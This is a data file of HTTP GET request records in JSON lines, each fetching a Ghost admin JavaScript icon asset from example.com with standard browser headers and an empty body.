{"method": "GET", "target": "/ghost/assets/chevron-up-Ca2VI5ye.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-alert-C1QHFpHs.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/info-BifJoFuF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-x-C1RC-lFT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-question-mark-Cgm_Ty1J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-minus-BkihFWcb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-fxmCMRvb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/clock-B9ZlYmYW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-C6dh2TtS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/cloud-off-DOHpaTme.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/code-DG4vO94L.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/coins-CumgzPZa.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/copy-3K3KXqHW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/credit-card-eZVjvrhJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pin-off-lnj6yrbM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/download-C43CSKLy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ellipsis-DCpJZgxv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/external-link-CKnhHaI-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/eye-off-6sJT53Wg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/eye-BUSwIvtb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-wrap-D8X937cr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mouse-pointer-2-off-JHhWtGhM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gift-CjBqHEmp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/globe-B4vZvmY9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hash-By5cPrAh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/heart-CDBO0M2K.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/history-BLta4f7G.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-plus-CNwSXyN2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/image-DJkRwGFl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/plug-BeLrBarN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/inbox-COmMmFZS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/smartphone-j5_wyhqO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/layers-7kDTLSGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/link-CZvXk_iN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-filter-Bt2MgNgY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/map-pin-DPhi-Z-z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/loader-circle-DR6LgQk9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lock-CJUB02yf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/log-out-ClF6eb3N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mouse-pointer-click-IX513WkU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-pen-DhntSZKe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-warning-BcU9ft9M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-x-CHliXg1j.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-PBEdl0JE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/megaphone-CACSVFEk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/menu-DwekVO1I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-circle-off-DoxKUv2y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-circle-Dkb2Sjq_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-square-off-Rea4Wik2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/message-square-DRPo5CWb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/minus-9ieoP52m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/panel-left-Dum5PjJB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pen-line-D0oKPczj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pen-i7U0QAik.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pencil-DZetlUon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pipette-B0ss10AX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/plus-B4c_-nfT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/rectangle-vertical-_u1GWlCm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-2-C4mzAnNo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/repeat-2-D9d_VFn2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/repeat-nLPwqdMF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reply-BH3O9H3I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-Bl7qfg4J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-x-DYxBa1EF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/send-BTCZEaT4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-align-center-DVac9_Hi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/share-ZZz95KTn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sprout-CVztvAnl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/square-B-5NhIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/squircle-B733mDoc.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/star-Bpul5S_D.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sticky-note-DU9c-Ra1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/store-B_Ejpv31.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/table-of-contents-sPKkwCn4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tag-C6OB2BXE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-ConC9hg-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-align-start-CnvG6LkS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/thumbs-down-x3lSinKl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/thumbs-up-B1AHlahq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trash-2-yhtPWCHA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trash-CuY-N3o6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
